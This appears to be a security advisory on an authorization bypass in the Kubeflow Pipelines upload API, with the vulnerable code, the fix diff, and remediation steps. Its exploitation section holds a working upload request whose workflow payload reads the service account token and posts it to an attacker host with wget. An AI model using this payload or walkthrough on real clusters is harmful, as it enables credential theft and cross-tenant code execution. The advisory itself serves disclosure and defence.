CVE-2026-77596: Cross-Tenant Authorization Bypass in Kubeflow Pipelines Upload API

Kubeflow Pipelines (KFP) is a platform for building and deploying portable, scalable machine learning workflows based on Kubernetes containers. The KFP backend API server manages workflow templates, pipeline versions, experiment metadata, and scheduled execution triggers. In multi-user deployments, the API server isolates tenant resources by mapping workflows to specific Kubernetes namespaces and enforcing access controls via the Kubernetes SubjectAccessReview (SAR) API.

The API server exposes two separate interfaces for registering pipelines and pipeline versions: a gRPC service (PipelineServer) and an HTTP multipart upload service (PipelineUploadServer). The HTTP interface handles direct file uploads through endpoints such as POST /apis/v2beta1/pipelines/upload and POST /apis/v2beta1/pipelines/upload_version (along with legacy v1beta1 equivalents). Both interfaces rely on helper methods to construct resource attributes and query the Kubernetes API server to verify whether the requesting user holds sufficient permissions in the target namespace.

In versions prior to 2.18.0, the HTTP upload authorization helper canUploadVersionedPipeline contains a logic flaw classified under CWE-639 (Authorization Bypass Through User-Controlled Key) and CWE-862 (Missing Authorization). When evaluating the target namespace for a pipeline upload or version update, the function checks if the resolved Namespace string is empty. If the string is empty, the function immediately returns nil, signaling that the caller is authorized without issuing a SubjectAccessReview request.

Because the server configuration flag REQUIRE_NAMESPACE_FOR_PIPELINES defaults to false, pipelines without an assigned namespace are treated as cluster-wide shared pipelines. Consequently, any authenticated tenant—or an unauthenticated user if the API server is exposed without an identity-aware proxy—can omit the namespace query parameter to bypass RBAC enforcement entirely. This allows unauthorized creation of shared pipelines and modification of existing shared pipelines across the cluster.

The root cause of CVE-2026-77596 is an inconsistent authorization implementation between the gRPC pipeline handler and the HTTP multipart upload handler in backend/src/apiserver/server/pipeline_upload_server.go. In a multi-user KFP deployment (MULTIUSER=true), every mutating request must verify that the caller—identified via the kubeflow-userid HTTP header—is authorized to perform the requested verb against the pipelines.kubeflow.org API group within the relevant namespace.

When a user uploads a new pipeline or adds a version to an existing pipeline over HTTP, the server invokes canUploadVersionedPipeline(r *http.Request, pipelineId string). To determine the target namespace, the function either reads the namespace query parameter from the HTTP request (for new pipelines) or queries the backing database to retrieve the namespace bound to the parent pipelineId (for pipeline versions). If the user creates a shared pipeline without passing a namespace parameter, or targets an existing shared pipeline whose database record contains an empty namespace, resourceAttributes.Namespace evaluates to an empty string ("").

In the sibling gRPC server (pipeline_server.go), the authorization function canAccessPipeline distinguishes between read and write operations on shared pipelines. While unauthenticated or cross-tenant reads on empty namespaces are permitted so all users can view shared templates, write operations (create, update, delete) on empty namespaces are explicitly remapped to the KFP system namespace (returned by common.GetPodNamespace(), typically kubeflow). This ensures that only cluster administrators with permissions in the system namespace can publish or modify shared pipelines.

In pipeline_upload_server.go, the implementation failed to perform this system namespace remapping. Instead, the code executed if resourceAttributes.Namespace == "" { return nil }. By treating an empty namespace as an immediate pass condition on a write endpoint, the function bypassed the subsequent call to s.resourceManager.IsAuthorized(r.Context(), resourceAttributes). Furthermore, the check failed to account for the legacy sentinel value model.NoNamespace ("-"), which s.resourceManager.IsEmptyNamespace() handles in other parts of the codebase.

The vulnerability resides in the canUploadVersionedPipeline method within backend/src/apiserver/server/pipeline_upload_server.go. Prior to commit 62516d8c525f146b754cb515cf441dd0290ad841, the method extracted the namespace from either the parent pipeline metadata or the URL query parameters, and then immediately returned nil if the resulting namespace was empty.

// Vulnerable implementation in backend/src/apiserver/server/pipeline_upload_server.go
func (s *PipelineUploadServer) canUploadVersionedPipeline(r *http.Request, pipelineId string) error {
	if !common.IsMultiUserMode() {
		return nil
	}
	resourceAttributes := &authorizationv1.ResourceAttributes{}
	if pipelineId != "" {
		pipelineNamespace, err := s.resourceManager.GetNamespaceFromPipelineId(pipelineId)
		if err != nil {
			return util.Wrap(err, "Failed to authorize with thePipelineId.")
		}
		resourceAttributes.Namespace = pipelineNamespace
	} else {
		namespace := r.URL.Query().Get(common.Namespace)
		if namespace != "" {
			resourceAttributes.Namespace = namespace
		}
	}
	// BUG: Returning nil here skips SubjectAccessReview when Namespace is empty.
	if resourceAttributes.Namespace == "" {
		return nil
	}
 
	resourceAttributes.Group = common.RbacPipelinesGroup
	resourceAttributes.Version = common.RbacPipelinesVersion
	resourceAttributes.Resource = common.RbacResourceTypePipelines
	resourceAttributes.Verb = common.RbacResourceVerbCreate
	return s.resourceManager.IsAuthorized(r.Context(), resourceAttributes)
}

In patch commit 62516d8c525f146b754cb515cf441dd0290ad841 (PR #14352), the developers removed the premature return nil statement and replaced the raw string comparison with s.resourceManager.IsEmptyNamespace(). When an empty or sentinel namespace is detected, resourceAttributes.Namespace is reassigned to common.GetPodNamespace().

File: backend/src/apiserver/server/pipeline_upload_server.go
@@ -401,8 +401,9 @@ func (s *PipelineUploadServer) canUploadVersionedPipeline(r *http.Request, pipel
 			resourceAttributes.Namespace = namespace
 		}
 	}
-	if resourceAttributes.Namespace == "" {
-		return nil
+	if s.resourceManager.IsEmptyNamespace(resourceAttributes.Namespace) {
+		// Shared-pipeline writes require authorization in the KFP system namespace.
+		resourceAttributes.Namespace = common.GetPodNamespace()
 	}
 
 	resourceAttributes.Group = common.RbacPipelinesGroup

With this change applied, control flow proceeds unconditionally to s.resourceManager.IsAuthorized(r.Context(), resourceAttributes). The resource manager constructs a Kubernetes SubjectAccessReview request evaluating whether the user can perform the create verb on pipelines.kubeflow.org/v2beta1/pipelines inside the KFP system pod namespace.

The fix is complete with respect to the upload endpoints. By using s.resourceManager.IsEmptyNamespace(), the patch covers both "" and the "-" (model.NoNamespace) sentinel value, preventing variant bypasses that pass namespace=- in the query string. In addition, the patch includes unit tests in pipeline_upload_server_test.go verifying that unauthorized users receive HTTP 400/403 responses when attempting to upload shared pipelines or attach versions to existing shared pipelines across both v1beta1 and v2beta1 routes.

Exploiting CVE-2026-77596 requires network access to the Kubeflow Pipelines API server in an environment where MULTIUSER mode is enabled and REQUIRE_NAMESPACE_FOR_PIPELINES is left at its default value of false. In standard deployments fronted by Istio and an authenticating proxy (such as OAuth2 Proxy or Dex), the attacker must authenticate as any valid cluster user or low-privileged tenant so that the proxy attaches a valid kubeflow-userid header. If the KFP API server service (ml-pipeline) is accessible directly on the cluster network without header validation, an unauthenticated attacker can supply an arbitrary kubeflow-userid header directly.

To achieve cross-tenant code execution, the attacker targets shared pipelines that are consumed by other tenants via recurring runs (ScheduledWorkflow resources). In Kubeflow Pipelines, when a tenant configures a recurring run against a pipeline without pinning a specific pipeline_version_id, the scheduler dynamically resolves and executes the most recently uploaded version of that pipeline on each scheduled trigger.

First, the attacker queries the API server to enumerate existing shared pipelines by listing pipelines without a namespace filter:

GET /apis/v2beta1/pipelines HTTP/1.1
Host: ml-pipeline.kubeflow.svc.cluster.local:8888
kubeflow-userid: user@example.com

Once the attacker identifies a target shared pipeline_id (where the namespace field is empty), they craft a Tekton or Argo workflow manifest (pipeline.yaml) containing arbitrary container specifications and commands. The attacker then uploads this manifest as a new version of the shared pipeline using the upload_version endpoint, deliberately omitting the namespace parameter:

POST /apis/v2beta1/pipelines/upload_version?pipelineid=8a7b6c5d-1234-5678-9abc-def012345678&name=v2-release HTTP/1.1
Host: ml-pipeline.kubeflow.svc.cluster.local:8888
kubeflow-userid: low-priv-tenant@example.com
Content-Type: multipart/form-data; boundary=------------------------a1b2c3d4e5f6
 
--------------------------a1b2c3d4e5f6
Content-Disposition: form-data; name="uploadfile"; filename="pipeline.yaml"
Content-Type: application/x-yaml
 
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: injected-pipeline-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine:latest
      command: ["/bin/sh", "-c"]
      args: ["cat /var/run/secrets/kubernetes.io/serviceaccount/token | wget --post-data=@- http://attacker-controlled.internal/exfil"]
--------------------------a1b2c3d4e5f6--

When the API server processes this request, s.resourceManager.GetNamespaceFromPipelineId(pipelineId) returns "". The vulnerable check if resourceAttributes.Namespace == "" evaluates to true and returns nil. The server stores the attacker's workflow manifest in the object store and registers it in the database as the newest version of the shared pipeline. On the next scheduled interval, any victim tenant with an unpinned recurring run pointing to 8a7b6c5d-1234-5678-9abc-def012345678 automatically instantiates the attacker's workflow inside the victim's Kubernetes namespace.

CVE-2026-77596 carries a CVSS v3.1 base score of 9.6 (Critical) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N. The Changed Scope (S:C) metric reflects that while the vulnerability is triggered via the KFP API server using low-privileged tenant credentials (PR:L), the resulting impact crosses tenant isolation boundaries into the Kubernetes namespaces of other users.

When an injected pipeline version executes inside a victim tenant's namespace, the workflow pods run under the victim namespace's designated Kubernetes Service Account (commonly default-editor in Kubeflow Profiles). This service account typically possesses broad permissions within the victim namespace, including reading and writing Kubernetes Secrets, mounting PersistentVolumeClaims (PVCs), managing Pods, and accessing cloud provider IAM roles bound via projected service account tokens (such as AWS IRSA or GCP Workload Identity).

Consequently, an attacker achieves full confidentiality (C:H) and integrity (I:H) compromise over the victim tenant's machine learning environment. The attacker can exfiltrate proprietary training datasets, steal external database credentials and object storage keys, poison machine learning model artifacts stored in shared registries, or pivot deeper into the underlying cloud infrastructure. Even if no recurring runs are active, an attacker can upload Trojanized versions to commonly used shared pipelines and wait for another user to manually trigger a run via the Kubeflow UI (which defaults to selecting the latest pipeline version).

As of publication, the EPSS score for CVE-2026-77596 is 0.0025 (16.47th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No standalone public exploit scripts have been published, though constructing the multipart HTTP request requires only standard command-line utilities like curl.

Administrators running Kubeflow Pipelines in multi-user mode should upgrade the KFP backend API server (ml-pipeline) to version 2.18.0 or later, which incorporates commit 62516d8c525f146b754cb515cf441dd0290ad841. In version 2.18.0, all upload attempts targeting empty or sentinel namespaces are evaluated against the KFP system namespace via Kubernetes SubjectAccessReview, blocking non-admin tenants from creating or modifying shared pipelines.

> [!NOTE] > Upgrading the KFP SDK client package alone does not remediate this vulnerability; the server-side apiserver container image deployed in the Kubernetes cluster must be updated.

For environments where an immediate upgrade to 2.18.0 is not feasible, administrators can apply a configuration workaround by enforcing mandatory namespaces for all pipelines. Setting the REQUIRE_NAMESPACE_FOR_PIPELINES environment variable (or the --requireNamespaceForPipelines command-line flag) to "true" on the ml-pipeline deployment instructs the ResourceManager to reject any pipeline or pipeline version creation request that lacks an explicit namespace:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: ml-pipeline
  namespace: kubeflow
spec:
  template:
    spec:
      containers:
      - name: ml-pipeline-api-server
        env:
        - name: REQUIRE_NAMESPACE_FOR_PIPELINES
          value: "true"

Note that enabling REQUIRE_NAMESPACE_FOR_PIPELINES disables the creation of new cluster-wide shared pipelines via empty namespaces. In addition to applying the configuration change or patch, security teams should audit the KFP backend database (pipelines and pipeline_versions tables) for any shared pipeline versions created by untrusted users, and configure all multi-tenant ScheduledWorkflow resources to pin explicit, verified pipeline_version_id values rather than dynamically tracking the latest version.